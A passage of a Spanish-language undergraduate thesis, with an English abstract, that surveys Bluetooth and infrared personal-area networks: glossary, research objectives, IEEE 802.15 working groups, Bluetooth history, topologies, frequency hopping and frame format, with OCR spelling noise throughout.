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GLOSARIO

PDA’s: Personal Digital Asistanse.

IEEE: Institute of Electrical and Electronics Engineers, Inc. (Instituto de Ingenieros
Eléctricos y Electronicos), es la sociedad técnica-profesional mas grande Del mundo
dedicada a divulgar los avances de la teoria y aplicacion en las areas de Ingenieria
Eléctrica, Electrénica y Computacion.

MAC: Medium Access Control,

LLC: Logical Link Control.

RSSI: Receiver Signal Strength Indicator.

GFSK: Gaussian Frequency Shift Keying.

TDD: Time-Division Duplex.

CAC: Cannel Access Coda o cédigo de acceso al canal.

DAC: Divise Access Coda o Codigo de acceso de dispositivo.

IAC: Inquiri Access Coda o Codigo de Acceso de Busqueda.

LAPs: Lower Address Parts.

LC: Control de enlaces.

Norma RS-232: Recommended Standard-232C. En telecomunicaciones, RS 232 es un
estandar para la conexion serial de sefiales de datos binarias entre un DTE (Equipo
terminal de datos) y un DCE (Equipo de terminacién del circuito de datos). En
informatica, el DTE seria el dispositivo que se conecta (como un mouse, impresora,
monitor, médem, etc.)

PPP: Point to Point Protocol.

LAN: Local Area Network.

LAP: LAN Access Point.

FP: Fax Profile.

SCO: Synchronous Connection Oriented.

CTP: Cordless Telephony Profile).

IP: Intercom Profile.

SP: Serial Port Profile.

DUN: Dial-Up Networking.

HS: Headset Profile.

FP: Fax Profile.

LAP: LAN Access Profile.
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FTP: File Transfer Profile.

OPUSH: Object Push Profile.

Sync: Synchronization Profile.

OBEX: Object Exchange.

SDAP: Service Discovery Application Profile.
FHSS: Frequency Hopping Spread Spectrum.
RAND: Numero aleatorio.

SAFE: Secure and Fast Encryption Routine.
Safer+: Secure and Fast Encryption Routine
IBC: Iterated Block Ciphers.

LSFR: Linear Feedback Shift Register
4PPM: 4 Pulse Position Modulation: High Data Link Control
IAS: Information Access Service

IrDA: Infrared Data Association

IrCOMM: IrDA Communications

IFLAN: IrDA LAN Access Extension

IrLAP: IrDA Link Access Protocol

IrLMP: IrDA Link Management Protocol
IrOBEX: IrDA Object Exchange

LM-IAS: Link Management — Information Access Services
LM-Mux: Link Management — Multiplexer
LSAP: Link Service Access Point

LSAP-SEL: LSAP Selector

NMD: Normal Disconnect Mode

NRD: Normal Response Mode

OSI: Open System Interconnection

RZI: Return to Zero Inverted

SDLC: Synchronous Data Link Control

SDU: Service Data Unit

Tintype: Flow Control Mechanism
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1. RESUMEN.

El presente proyecto demuestra la investigacion exhaustiva a cerca de las
vulnerabilidades en las redes (WPAN), aplicadas a las tecnologias Bluetooth e
infrarrojo, que son las mas aceptadas en el mercado por su bajo costo y su forma de
conexidn directa hacia el mundo exterior dentro de un area corta que envuelve a una

persona o un dispositivo.

Bluetooth es una de las especificaciones para redes de &area personal (WPAN), que
permite la transmisién de voz y datos entre equipos diferentes a través de radio

frecuencia.

Desde que Bluetooth aparecio en el mercado ha sido objeto de estudio por parte de
grupos dedicados a la seguridad digital y no han tardado en aparecer las primeras
vulnerabilidades. Los primeros ataques se desarrollaron contra los dispositivos

Bluetooth como lo es el caso de los teléfonos moviles, equipos manos libres etc.

Por otro lado la tecnologia por infrarrojo, mas conocido como estandares Infrarrojo
soporta una amplia gama de dispositivos eléctricos, informaticos y de comunicaciones,
permite la comunicacion bidireccional entre dos extremos a velocidades que oscilan
entre los 9.600 bps y los 4 Mbps. Esta tecnologia se encuentra en muchos ordenadores

portatiles, y en un creciente nimero de teléfonos celulares.

Los perjudicados con las vulnerabilidades encontradas en los dispositivos Bluetooth e
infrarrojo son los usuarios propietarios de los mismos, ya que las técnicas de ataque
desarrolladas con el fin de explotar estos agujeros existentes en la seguridad afectando a

la confidencialidad, privacidad e integridad de sus datos.

La finalidad de este proyecto es realizar un estudio general y mediante este, proponer
una solucion basada en las seguridades utilizadas por estas tecnologias, analizando los

métodos implantados en las mismas.

De la misma manera se realizara de forma practica la auditoria de la red Bluetooth e

Infrarrojo, por medio de la herramienta WIFISLAX que es un testeador de red que
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facilitara la demostracion de las formas vulnerables de una de estas redes, permitiendo

plantear métodos 0 mecanismos de solucion ante estos inconvenientes.
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SUMMARY

This project demonstrates the thorough investigation about vulnerabilities in
networks (WPAN), applied to Bluetooth and infrared technologies, which are more
accepted in the market for its low cost and a direct connection to the outside world

in a short area that surrounds a person or device.

Bluetooth is a specification for personal area networks (WPAN), which allows
transmission of voice and data between different computers using radio frequency.
Since Bluetooth appeared in the market has been studied by groups dedicated to
digital security and are quick appearance of the first vulnerabilities. The first
attacks took place against Bluetooth devices such as for mobile phones, hands free

and so on.

On the other hand, infrared technology, known as Infrared standards supports a
wide range of electrical, computer and communications allows bidirectional
communication between two extremes at speeds ranging from 9,600 bps to 4 Mbps

this technology is in many laptops, and a growing number of mobile phones.

The losers from vulnerabilities in Bluetooth and infrared devices are the users own
the same as attack techniques developed to exploit these security holes on affecting

the confidentiality, privacy and integrity of your data.

The purpose of this project is to conduct a comprehensive study and through this,
propose a solution based on the securities used by these technologies, analyzing the

approaches adopted by them.

In the same way practice is conducted on a network audit Bluetooth and infrared,
through the tool is a tester Backtrack network to facilitate the demonstration of
vulnerable forms of these networks, allowing methods or mechanisms to raise

solution to these problems.
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2. INTRODUCCION.

Las redes inalambricas WPAN por sus siglas en inglés Wireless Personal area Network
son redes que comunmente cubren distancias del orden de los 10 metros como maximo,
normalmente utilizadas para conectar varios dispositivos portatiles personales sin la
necesidad de utilizar cables. Esta comunicacion de dispositivos peer to peer

normalmente no requiere de altos indices de transmision de datos.

Bluetooth es una tecnologia desarrollada bajo una interfaz abierta basada en enlace de
radio de bajo coste y corto alcance, cuyo objetivo es facilitar la comunicacién entre
dispositivos sin la utilizacion de molestos cables, para permitir mayor confort y
comodidad a sus usuarios, esta tecnologia se ha venido convirtiendo en una
especificacion global a nivel mundial para el establecimiento de comunicaciones
inalambricas entre dispositivos portétiles, equipos de escritorio y periféricos, una de las
principales caracteristicas de esta tecnologia es capaz de instalarse en cualquier sitio
gracias a su bajo consumo de energia puede utilizarse en dispositivos no conectados a la

red inaldmbrica.

La tecnologia por Infrarrojos (Irda), es otra de las tecnologias pertenecientes a las redes
WPAN, cuya comunicacion se basa en la radiacion infrarroja, utilizando un haz de luz
cuyas frecuencias estan por debajo del espectro de luz (visible) infrarrojo, misma que se
modula con informacion y la transporta desde un emisor hacia un receptor a una

distancia relativamente corta.

El presente proyecto de investigacion describe el funcionamiento, estructura,
vulnerabilidades ventajas, desventajas y aplicaciones de las redes WPAN enfocadas a
las tecnologia Bluetooth e Infrarrojo, el cual permitira realizar un analisis comparativo

entre estas tecnologias.

Realizar una propuesta de solucion a la vulnerabilidades encontradas en la seguridades
de las mismas, cuyo propdsito es dejar impreso las ideas de planteadas para que en un

futuro, mediante otras investigaciones se puedan desarrollar e implementarse.

Pagina 28



Las redes inaldmbricas (WPAN) actualmente constituyen el més grande desafio
tecnoldgico dentro del escenario inaldmbrico, la aparicion de estas redes surge ante la
necesidad de acercar las redes al usuario y la utilizacion de las mismas para la

automatizacion del entorno en forma sencilla.

Las redes (WPAN) destinadas a la interconexion de dispositivos inalambricos en
entornos de oficinas, laboratorios y dentro de los hogares, una conexién a través de una
WPAN suele involucrar a muy poca o ninguna infraestructura o conexiones directas
hacia el mundo exterior. Este tipo de tecnologia procura hacer uso eficiente de recursos,
por lo que se han disefiado protocolos simples y éptimos para cada necesidad de

comunicacion y aplicacion.

También se procederd a realizar una demostracion de las vulnerabilidades encontradas
en la seguridad de las tecnologias, el principal objetivo es demostrar las diversas formas
de ataques contra estas redes, mediante la realizacion de una auditoria hacia estas redes,
para esto se utilizara el testeador Backtrack cuyo objetivo es hacer un analisis completo

de la red, mostrando las fallas encontradas en las mismas.

Backtrack es un DVD de arranque gque contiene al sistema operativo GNU/Linux. Puede
hacer correr Linux directamente desde el CDROM sin instalacion. Aunque lleva
incorporado herramientas de instalacion en el disco duro o en llaveros USB, o una

emulacién en Windows.

Backtrack 5 cuenta con muchas herramientas incorporadas para una auditoria wireless
completa y bien realizada, contiene herramientas como esnifes, braceadores, etc. Entre
otras mas que se iran describiendo conforme se haga uso de las mas importantes para

esta investigacion en especifico.

Pagina 29



CAPITULO 1
MARCO REFERENCIAL
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1.1 PLANTEAMIENTO DEL PROBLEMA

Conforme pasan los dias es cada vez mas comun la utilizacion de dispositivos
electronicos PAN’s (Personal Area Networks) como teléfonos celulares, Palms,
Notebooks, mouse’s, teclados, impresoras, scanner’s, auriculares, reproductores de
MP3, esta lista de dispositivos es cada vez mas extensa; sin embargo muy pocos, saben
que utilizando este tipo de conexiones se esta propenso a caer en manos de un hacker y

sufrir ataques de varios tipos.

Durante los altimos afios, se ha vivido una gran expansion de las redes inalambricas de
corto alcance (WPAN) debido a la comodidad que estas prestan a los usuarios, librando
de los incomodos cables e interconexion, pero conforme estas redes van acaparando el
mercado a nivel mundial, se encuentra una gran paradoja referente a la seguridad
(Mecanismos de Seguridad), ya que si bien es cierto son eficientes para cumplir con el

proposito para las que fueron creadas.

Al igual que en otro tipo de redes, dentro de las WPAN también encontramos problemas
de seguridad, los mismos que surgen al utilizar una determinada tecnologia sin
autenticacion y sin encriptacion, como es el caso de Bluetooth que Unicamente con
saber el nimero de PIN, se puede ingresar a cualquier dispositivo, el inconveniente es
que de acuerdo al equipo, este nimero puede ser cambiado 0 no.
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1.2 FORMULACION Y SISTEMATIZACION DEL PROBLEMA

Como toda tecnologia inaldmbrica, debido a la naturaleza de las redes de corto alcance
(WPAN), su restringida cobertura, y su emision en banda de radio frecuencia, de 2,4
Ghz, son propensas a recibir ataques por parte de personas que no estén autorizadas;
mismas que vuelven vulnerables sistemas con puntos accesibles o una falla en las

seguridades por parte de los dispositivos que hacen uso de estas tecnologias.

El propésito de los atacantes es conseguir informacion vital de las victimas para

posibles fraudes o espionajes corporativos.
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1.3 OBJETIVOS

1.3.1 Objetivo General.

Realizar un analisis comparativo de las vulnerabilidades en las redes de area
personal (WPAN) aplicado a las tecnologias Bluetooth e Infrarrojo, propuesta de

solucién.

1.3.2 Objetivos Especificos.

@ Investigar el funcionamiento de las tecnologias Bluetooth e Infrarrojo,
analizando los protocolos y algoritmos de seguridad aplicados en estas
tecnologias.

& Describir los procesos de seguridad utilizados en la tecnologia Bluetooth e
infrarrojo, realizando una auditoria con la finalidad de demostrar las formas
comunes de ataques, a causa de la fragilidad dispositivos que utilicen estas
tecnologias.

& Plantear una propuesta de seguridad para las tecnologias basadas en Bluetooth e
Infrarrojo que minimicen las vulnerabilidades mediante mecanismos de

encriptacion y cifrado.
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1.4 JUSTIFICACION

Las tecnologias de redes inaldmbricas personales WPAN han sido concebidas como un
soporte para un ambiente inteligente que las personas portan. La motivacién para el
arribo de tales redes viene del hecho, que existe la necesidad de intercambiar datos no
solo a la larga distancia (como comunmente se hace referencia en las comunicaciones),
sino también entre dispositivos que lleva una persona o situaciones donde las personas

tienen una conversacion elocuente distante.

El desarrollo de este proyecto, permite analizar las vulnerabilidades de las redes
WPAN aplicadas a las diferentes plataformas Bluetooth e infrarrojo, cuyo propésito es
el de dar a conocer las debilidades de los mecanismos de seguridad (autenticacion y

cifrado); que estas tecnologias utilizan.

Tan grande ha sido el desenvolvimiento de las redes WPAN, como el caso de Bluetooth
e Infrarrojo que en la actualidad estas tecnologias estdn inmersas en diversos campos

como: medicina, enseflanza, telecomunicaciones, hoteleria, dem@tica, etc.

& Medicina: mediante esta tecnologia se ha desarrollado el primer administrador
de Salbutamol con conexion a Bluetooth. Su propésito es para enviar un aviso
al celular via Bluetooth de que le corresponde una dosis, o dejar registro en PC
que se ocupd, o avisar a la farmacia cuando quede poco, etc. las posibilidades
son muchas.

@ Si bien este es el campo en el que mas se ha desarrollado y para el cual se ha
creado especificamente, en la actualidad se ofrecen un sin numero de teléfonos
maviles que cuentan con esta tecnologia asi como portatiles, PDAS, accesorios
para teléfonos etc.

@ En el sector hotelero La tecnologia permitira a los huéspedes hacer su "check-
in" y "check-out", entrar a sus habitaciones, utilizar Internet, recibir mensajes
de voz, y pagar comidas en el restaurante del hotel, el primero en implementar
son la cadena de hoteles Holy day Inn.

& En lo que concierne a la tecnologia infrarrojo también se han utilizado en la
medicina a continuacion se detallara un caso aplicativo en este caso: Un equipo

de cientificos en el Reino Unido esta llevando a cabo un experimento con un
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casco especial para tratar el Alzheimer. Este casco emite luz infrarroja a niveles
muy bajos que, segin los investigadores de la Universidad de Sunderland,
puede llegar a estimular el crecimiento de las neuronas. La terapia de rayos
infrarrojos fue desarrollada en un principio para el tratamiento de herpes. Pero
cuando los cientificos estudiaron su funcionamiento, descubrieron que
estimulaba el crecimiento de las células y por lo tanto, pensaron que podria
aplicarse para tratar otras condiciones
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1.4 DELIMITACIONES.

Las limitaciones que se encontraron durante el transcurso de la investigacion fueron las

siguientes:

& Dado que las herramientas para monitoreo, control y administracion en la
tecnologia ZigBee son limitados, tanto en costo como en accesibilidad se
prescindird de la misma, Las tecnologias que en el pais ha incursionado con
mayor cobertura son Bluetooth e infrarrojo que van a ser objetos del analisis
para la investigacion.

& Para la realizacion de la auditoria aplicadas a las redes WPAN, se lo llevo a cabo
a los estudiantes de primer a quinto afio de Ingenieria en sistemas de a UNACH,
afio lectivo 2010-2011; para ello se aplicaron encuestas, de donde se escogieron
a alumnos que contaran con cualquier tipo de dispositivo que contara con

cualquiera de las dos tecnologias Bluetooth o Infrarrojo.
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CAPITULO 2
FUNDAMENTACION TEORICA
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2.1 ANTECEDENTES DE LA INVESTIGACION.

El proyecto de investigacion realizado por IBM, en 1996 conocido como“Near-Field
Intra-Body” (NIC-PAN) crea uno de los primeros conceptos de redes PAN.

Este proyecto utiliza al cuerpo humano como medio de comunicacion, debido a su
contenido de sal que permite la conduccion de electricidad, este dispositivo de
transmision NIC-PAN carga y descarga al cuerpo humano, dando como resultado un
potencial oscilante entre el cuerpo y el ambiente. Estos cambios de potencial son
tomados por el dispositivo NIC-PAN.

Sin embargo el enfoque NIC-PAN no evoluciono mas alla de un proyecto de
investigacion, mientras que la verdadera revolucion en el area de las WPAN’s se inicio
con el uso de las WPAN’s basadas en transmisiones inalambricas WPAN’s.

En el afio de 1994 se trata de definir un estandar para WPAN’s con la propuesta de
Ericsson cuya meta era encontrar una solucion para la transmision inalambrica entre
teléfonos moviles y sus accesorios (ejemplo manos libres) este proyecto fue bautizado
con el nombre de Bluetooth para ello Nokia, Intel, Toshiba, e IBM se unieron a
Ericsson formando el grupo de interés especial Bluetooth (SIG) en mayo de 1998

El propdsito de Bluetooth SIG es desarrollar estandares de provecho para Pan que
satisfagan las necesidades de comunicacion de todos los dispositivos de computacion y
comunicaciones moviles en un espacio geografico reducido sin importar su tamafio o
potencia.

Cabe destacar que después de un tiempo de haberse iniciado esta investigacion, se
realizaron varias sobre la seguridad implementadas en el proyecto, con el pasar del
tiempo esta investigacion se fue robusteciendo cada vez més, y con ella su seguridad,
pero también iban apareciendo nuevos ataques en contra de las mismas.

En ecuador se han realizado investigaciones acerca de la seguridades implementadas en
las tecnologia Bluetooth, en lo que concierne a Infrarrojo se han realizado estudios
basados e implementados en sensores de diferente tipo, si bien algunas de estas

investigaciones pudo servir como plataforma para realizar esta investigacion.
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2.2 REDES INALAMBRICAS DE AREA PERSONAL WPAN.

2.2.1 DEFINICIONES.

Una Red de Area Personal Inalambrica es aquella que enfocan sus sistemas de
comunicaciones a un area tipica de 10 metros a la redonda que envuelve a una persona o
a algan dispositivo ya sea que esté en movimiento o no. “A diferencia de las redes de
area local (WLAN), una conexion echa a través de una WPAN involucra a muy poca o
nula infraestructura o conexiones directas hacia el mundo exterior”. Este tipo de
tecnologia también procura hacer un uso eficiente de recursos, por lo que se han
disefiado protocolos simples y lo dptimos para cada necesidad de comunicacion y
aplicacion.

Una WPAN puede entenderse como una capsula personal de comunicacion alrededor de
una persona. Dentro de dicha capsula, que se mueve de la misma forma en que lo hace
una persona, los dispositivos personales se pueden conectarse entre ellos.

Para satisfacer las diferentes necesidades de comunicacion dentro de un area personal la
IEEE se divide los grupos de estudio en 4 grupos de trabajo, que se encargan del
desarrollo de estandares.

2.2.2 GRUPOS DE TRABAJO.

Existen principalmente cuatro grupos de trabajo para la tecnologia WPAN, cada uno de
ellos con caracteristicas e intereses especificos que generan estandares que satisfacen

necesidades especificas de comunicacion.

802.15.1
802.15.2
Estandar Redes WPAN
802.15.3
IEEE 802.15
802.15.4

Tabla 1: Grupos de trabajo segun el estandar

& Grupo de trabajo 802.15.1: WPAN’s de rango medio (802.15.1/Bluetooth)
gque manejaran una cantidad de tareas que van de teléfonos celulares hasta
comunicacion entre PDA’s y tienen QoS apropiado para aplicaciones de voz.

@ Grupo de trabajo 802.15.2: desarrollo un modelo de coexistencias entre las

WLAN y WPAN, asi como de los aparatos que las envuelven.
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@ Grupo de trabajo 802.15.3: Trabaja para establecer los estatus y publicar un
nuevo rango de velocidad elevada (20 Mbps/s o mayores) para WPAN’s.
Ademas de ofrecer una alta velocidad de transmision, este estandar esta
disefiando para consumir poca energia y ofrecer soluciones a bajos costos
asi como aplicaciones multimediaque requieren altos niveles de QoS.

& Grupo de trabajo 802.15.4: este grupo investiga y desarrolla soluciones que
requieren una baja transmision de datos y con ello una duracion en las
baterias de meses e incluso de afios asi como una complejidad relativamente

baja.

2.2.3 APLICACIONES DE LAS REDES DE AREA PERSONAL.

La finalidad de las redes WPAN es proveer una comodidad al usuario al permitir
liberarse de los incobmodos cables y proveer una facil comparticion de informacion entre
todas las clases de dispositivos inalambricos las aplicaciones mas comunes de las redes
WPAN es:

& Sincronizacion de dispositivos personales: sincronizacion automatica de datos
entre dispositivos mdaviles inaldmbricos tales como teléfonos mdviles
personales, computadores portatiles, etc. que ejecutan aplicaciones similares.

@ Conectividad Ad hoc: transferencia de archivos, y otra informacion hacia otros
usuarios de dispositivo PAN.

& Computadoras sin cable: interfaces inalambricos tales como raton, teclado etc.

@ Periféricos sin cable: acceso a una gran variedad de periféricos inalambricos
como impresoras, escaneres, fax etc.

& Acceso inaldmbrico localizado a una LAN: puede lograrse a través de un Access
Point compatible con Pan.

@ Acceso a internet: descargar correo electronico o navegar por paginas Web
usando dispositivos PAN, tales como teléfonos moviles.

& Auriculares de telefonia inalambrico

& Automatizacion del hogar: transferencia de comandos a dispositivos del hogar
con compatibilidad PAN.

@ Compras/reservaciones electronicas: los dispositivos Pan pueden ser usados para

adquiris boletos y reservaciones electronicamente.
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@ Medicina: dispositivos médicos con interfaces PAN que puedan usarse para
incrementar la seguridad de los pacientes ejemplo marcapasos que pueden ser
monitoreados y controlados remotamente a través de interfaces PAN o pueden
ser programados para llamar inmediatamente una ambulancia mientras
transmiten la condicion médica del paciente en el caso de un ataque al corazén u

otro problema de salud serio

2.2.4 MODELO OSI-ISO Y MODELO IEEE 802.15.
Dado que las redes actuales funcionales de comunicacion tienen como modelo de
referencia al ISO-OSI es prudente ver la relacion por capas o niveles de comunicacion

que este tiene con el modelo IEEE 802.

CAPA MODELO ISO-OSI MODELO IEEE 802.15

7 Capa de Aplicacion.

6 Capa de Presentacion.

5 Capa de sesion.

4 Capa de Transporte. Capas superiores

3 Capa de Red.

2 Control de enlace Ldgico

(LLC)
1 Capa de enlace de Datos (DLL) Control de acceso a
medios (MAC)

Capa Fisica. Capa Fisica (PHY)

Tabla 2: Modelo ISO-OSI vs Modelo IEEE 802.15

El proyecto IEEE 802 divide al DLL en dos subcapas, la subcapa de enlace de acceso a
medios (MAC) vy la de control de enlaces légicos (LLC) el LLC es comin a todos
estandares 802, como el 802.3, 802.11 y la familia del 802.15. La subcapa MAC

depende del hardware y varia respecto a la implementacion fisica de esta capa.
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2.3. EL ESTANDAR BLUETOOTH

2.3.1 ¢(QUE ES Y COMO SURGIO BLUETOOTH?
Bluetooth es una tecnologia utilizada para la conectividad inalambrica de corto alcance
entre dispositivos como PDA’s, teléfonos celulares, teclados, maquinas de fax,

computadoras de escritorio y portatiles, médems, proyectores, impresoras, etc.

Figura 1: Estandar Bluetooth.

El principal objetivo de esta tecnologia, es la posibilidad de reemplazar los numerosos
cables que conectan unos dispositivos con otros por medio de un enlace de radio
universal de corto alcance. Por ejemplo, la tecnologia de radio Bluetooth implementada
en el teléfono celular y en el ordenador portatil reemplazaria el molesto cable utilizado
hoy en dia para conectar ambos aparatos. Las impresoras, las agendas electronicas, los
PDA, los faxes, los teclados, los joysticks y practicamente cualquier otro dispositivo

digital son susceptibles de formar parte de un sistema Bluetooth.
2.3.2 ANTECEDENTES.

En 1994, Ericsson inicidé un estudio para investigar la viabilidad de una interfaz via
radio, de bajo costo y consumo, para la interconexién entre teléfonos mdviles y otros
accesorios, con la intencién de eliminar los cables entre los aparatos.

El estudio partia de un largo proyecto que investigaba sobre unos multi comunicadores
conectados a una red celular, hasta que se llegd a un enlace de radio de corto alcance.
Conforme este proyecto avanzaba se fue viendo claramente que este tipo de enlace
podia ser utilizado ampliamente en un gran nimero de aplicaciones, ya que tenia como

principal virtud el que se basaba en un chip de radio relativamente econémico.
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2.3.3 ;DE DONDE SURGIO EL NOMBRE BLUETOOTH?

Recibe su nombre del rey vikingo Harold Il Bluetooth el cual reino Dinamarca entre
990 y 1000 dc, apodado Batan o "diente azul™ (Bluetooth) a causa de una enfermedad
que le daba esta coloracion a su dentadura, reunificé bajo su reinado numerosos
pequefios reinos que existian en Escandinavia y que funcionaban con reglas distintas, lo
mismo que hace la tecnologia Bluetooth. EI nombre fue tomado (promovido por
Ericsson (Suecia) y Nokia (Finlandia)) debido a que las compafiias de la region Baltica
(Noruega, Finlandia, Dinamarca y Suecia) son piezas claves en la industria de las
comunicaciones y optaron por usar el apellido del Rey que logro la unién de Dinamarca

y parte de Noruega.

2.3.4. CARACTERISTICAS DE LA TECNOLOGIA BLUETOOTH.

CARACTERISTICAS VALOR
Frecuencia. 2.4GHz.
Tecnologia. Espectro disperso.

Potencia de transmision. 1mW para 10m, 10mW para 20 m, 100mW para 100m.

Canales Maximos de Voz. 3 por piconet.

Canales Maximos de 7 por piconet.

datos.

Velocidad de datos. 721 kbps por piconet.

Cobertura. 10m, 30m y 100m.

N° de Dispositivos. 7 por piconet y hasta 10 por piconet en 10 m.
Alimentacion. 2.7 volts.

Interferencia. Es minima, se implementan saltos rapidos en frecuencia de

1,600 veces por segundo.

Tabla: 3: caracteristicas mas importantes de la tecnologia Bluetooth.

2.3.5 TOPOLOGIAS DE CONEXION DE LA WPAN BLUETOOTH.

@ Piconet: coleccion de dispositivos (de 2 a 8) conectados por medio de la

tecnologia Bluetooth. Todos los dispositivos tienen la misma implementacion.
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Figura 2: Red Piconet, Scatternet, Direccion Mac.

Scatternet: cuando en una misma zona hay varias piconets independientes y no
sincronizadas forman lo que se llama una scatternet.

Direccion Mac: el maestro de la piconet asigna a los esclavos una direccién Mac

de 3 bits para distinguir a los miembros de la piconet, de las otras piconets de la
zona que forman la scatternet.

Standby: Los dispositivos en un "piconet” que no estan conectados, estan en
modo Standby, ellos escuchan mensajes cada 1,28 segundos, sobre 32 saltos de
frecuencias.

Page/Inquiri: permite el envio de un paquete denominado page que permite
realizar la conexidn con otro dispositivo, y si el receptor de este page contesta se
comienza con la transferencia de datos.

Modo Activo: modo que se produce cuando hay un intercambio de informacion.
Modo Gold: es un modo de ahorro de energia que mantiene en estado de espera
a los esclavos de la piconet cuando no tienen nada que transmitir e incluso puede
ser solicitado por los dispositivos esclavos cuando terminan de enviar
informacion.

Modo Swift: otro modo de ahorro de energia, en el cual el esclavo reduce la
frecuencia con que escucha de la red, reduciendo asi su consumo.

Pared: Un tercer modo de ahorro de energia seria este, en el cual el esclavo
pierde su direccion MAC de la piconet, pero sigue sincronizado con esta y solo

escucha la red ocasionalmente para mensajes broatcast.
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2.3.6 FUNCIONAMIENTO DE BLUETOOTH.

Los dispositivos Bluetooth estan compuestos por dos partes principales. Un dispositivo
de radio, encargado de modular y transmitir la sefial, y un controlador digital.
"El radio Bluetooth es un pequefio microchip que opera en una banda de frecuencia
disponible mundialmente. Pueden realizarse comunicaciones punto a punto y punto
multipunto”.

"Bluetooth es una tecnologia de radio-frecuencia que utiliza la banda ISA de 2.5GHz.
Aplicaciones relacionadas incluyen redes de PC y periféricos, computacion escondida, y
sincronizaciéon de data como en agendas de direcciones y calendarios. Otras
aplicaciones pueden incluir redes caseras y otros electrodomésticos caseros del futuro".

International Radio Frequency Allocation
100kHz 1mHz 10mHz 1 7H: OgH:

—~ s

*

AM Radio TV FM Radio TV w

Bluetooth
2.45 gHz

Figura 3: Ubicacion de la frecuencia utilizada por Bluetooth.

"En los Estados Unidos y Europa, el rango de frecuencias es desde 2400 hasta 2483.5
MHz, con 79 canales de frecuencias de radio de 1MHz. En la practica, el rango es de
2402 MHz hasta 2480 MHz. En Jap6n el rango de frecuencias va desde 2472 hasta 2497
MHz, con 23 canales de frecuencia de radio de 1Mhz"

Bluetooth solo soporta 780Kbps, los cuales pueden ser usados como 721Kbps en
transferencia de datos unidireccional (simplex), 57,6Kbps en la direccidn de retorno, es
decir, realizando una conexién full duplex, o como 432,6Kbps en transferencia de datos
simétrica, es decir, cuando ambos dispositivos que se comunican estén equidistantes al
dispositivo maestro.

Por el hecho de ser una tecnologia basada en medios no guiados, se presenta una fuerte
influencia en los problemas que este tipo de medios acarrean. Uno de estos problemas,
sobretodo presente a este nivel de frecuencia, es la interferencia de la sefial emitida. Una
de las formas en que los dispositivos Bluetooth evitan interferir con otros sistemas es
mandando sefiales muy débiles de 1 mili vatios. En comparacién, de los teléfonos

celulares més poderosos pueden transmitir una sefial de 3 vatios. El bajo poder limita el
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alcance de un dispositivo Bluetooth a unos 10m, eliminando el chance de interferencias
entre un sistema de computacién y un teléfono inalambrico o un televisor.

Con muchos dispositivos Bluetooth diferentes dentro de una misma habitacion, uno
pensaria que ellos podrian interferir unos con otros, pero es improbable que muchos de
los dispositivos estén en la misma frecuencia, debido a que Bluetooth utiliza una técnica
Ilamada salto de amplio espectro de frecuencias (spread-septum frecuencia hopping).
En esta técnica, un dispositivo utilizar 79 frecuencias individuales escogidas al azar
dentro de un rango designado, cambiando de una a otra en una forma regular. En el caso
de Bluetooth, los transmisores cambias frecuencias 1600 veces por segundo,
significando que mas dispositivos pueden hacer uso completo de un pedazo limitado del
espectro de radio.

Frequency Hopping
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Figura 4: Spread-Spectrum frequency hopping.
2.3.6.1 Tipo de trama Bluetooth.

Como todo transmisor Bluetooth utiliza transmision de espectro amplio
automaticamente, es improbable que dos transmisores estén en la misma frecuencia al
mismo tiempo. Esta misma técnica minimiza el riesgo de interrupciones a otros
dispositivos Bluetooth por parte de un teléfono inalambrico o un monitor de bebés, ya
que cualquier interferencia durara sélo una pequefia fraccién de segundo.

Bluetooth tiene un nivel en el cual los distintos dispositivos que se comunicaran pueden
ponerse de acuerdo para enviar los datos en un espacio de tiempo, en cuanto a la
cantidad de datos a ser enviados, el tiempo empleado en la comunicacion y la seguridad
de que ambas partes estan hablando del mismo mensaje.

En cuanto a la forma como se estructuran los paquetes y los datos en una comunicacién
Bluetooth, tenemos algunas caracteristicas relevantes.

& Tienen un maximo de 5 espacios de tiempo.

Pagina 46



@ Los datos en un paquete pueden tener un maximo de 2745 bits.
& Existen dos tipos de transferencia de datos entre dispositivos: SCO (sincronos

conectaron oriente) y ACL (asincronos connection less).

Cada paquete comienza con 72 bits de codigo de acceso derivados de la identidad del
maestro y que es Unica para el canal. Cada paquete intercambiado en el canal esta
precedido por este cdodigo. Ciertos recipientes en la Piconet comparan las sefiales que
arriban con el codigo de acceso, y si éstos no son iguales, el paquete recibido es
considerado no valido en el canal y el resto del contenido es ignorado. Ademas, el
cbédigo de acceso es también utilizado para sincronizacion. El codigo de acceso es
sumamente robusto y resistente a la interferencia. Una cabecera sigue al codigo de
acceso y esta contiene informacion de control importante como la direccion de control
de acceso al medio (MAC), tipo de paquete, bits de control de flujo, el esquema ARQ
de peticién de retransmision automatica y un chequeo de error en cabecera. La cabecera
esta protegida por un cddigo de correccion de error. Los datos (Payload) pueden seguir
0 no a la cabecera y para soportar altas ratas de datos se definen los paquetes multi-slot.
Un paquete puede cubrir uno, tres o cinco slots y son siempre enviados en una portadora

de salto sencilla.

LSB 72 >4 0-2745 MSB
Codigo de | Cabecera Carga Util
Acceso

Figura 5: Formato de trama Bluetooth en la Capa Banda Base.

2.3.6.2 Funcionamiento Del Microchip Bluetooth.

Figura 6: Microchip para Bluetooth.

Consta de 7 canales dedicados a la transmision de datos, estan disponibles 3 canales de

voz a 64kbit/s. Cada dispositivo tiene direccion Unica de 48 bits, basada en el estandar

IEEE 802.11 para LAN inalambrica, que le permite formar, temporalmente, parte de
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una piconet. Las conexiones son uno a uno con un rango maximo de 10 metros, aunque
actualmente se puede llegar hasta los 100 metros.

Bluetooth estd dotado de un esquema de salto de frecuencia. Utiliza un sistema que
busca una parte no utilizada del espectro. Este sistema divide la banda de frecuencia en
varios canales de salto, donde, los transceptores, durante la conexion van cambiando de
uno a otro canal de salto de manera pseudo-aleatoria. Con esto se consigue que el ancho
de banda instantdneo sea muy pequefio y también una propagacion efectiva sobre el
total de ancho de banda.

(Salto de frecuencia), se pueden conseguir transceptores de banda estrecha con una gran
inmunidad a las interferencias.

Este esquema de "frequency hop" (saltos de frecuencia aleatorios) permite a los
dispositivos comunicarse inclusive en areas donde existe una gran interferencia
electromagnética (el hecho de que los paquetes sean cortos y los saltos rapidos reducen
el impacto nocivo de los hornos de microondas u otros dispositivos que trabajen en la
misma banda); ademas de que se provee de mecanismos de encriptacion

(Con longitud de la clave de hasta 64 bits) y autenticacion, para controlar la conexion y
evitar que cualquier dispositivo, no autorizado, pueda acceder a los datos o

modificarlos.

Bluetooth se ha disefiado para operar en un ambiente multi-usuario. Los dispositivos
pueden habilitarse para comunicarse entre si e intercambiar datos de una forma
transparente al usuario. Como se utilizan 3 bits para la direccion MAC, hasta ocho
